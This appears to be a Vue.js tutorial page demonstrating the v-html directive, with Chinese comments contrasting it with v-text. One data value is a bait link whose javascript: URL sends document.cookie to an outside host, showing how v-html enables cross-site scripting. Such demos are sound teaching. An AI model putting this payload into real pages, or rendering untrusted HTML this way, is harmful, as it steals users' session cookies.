<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>v-html</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
    <div>你好，{{name}}</div>
    <div v-text="name"></div><!--不 支持结构解析-->
    <div v-html="str"></div> <!--支持结构解析-->
    <div v-html="str2"></div>

</div>
</body>
<script type="text/javascript">
    Vue.config.productionTip =false

    new Vue({
        el:'#root',
        data:{
            name:'楠籽',
            str:'<h3>你好哦!</h3>',
            str2:'<a href=javascript:location.href="http://gitee.com?"+document.cookie>是兄弟砍一刀</a>',
        }
    })
</script>
</html>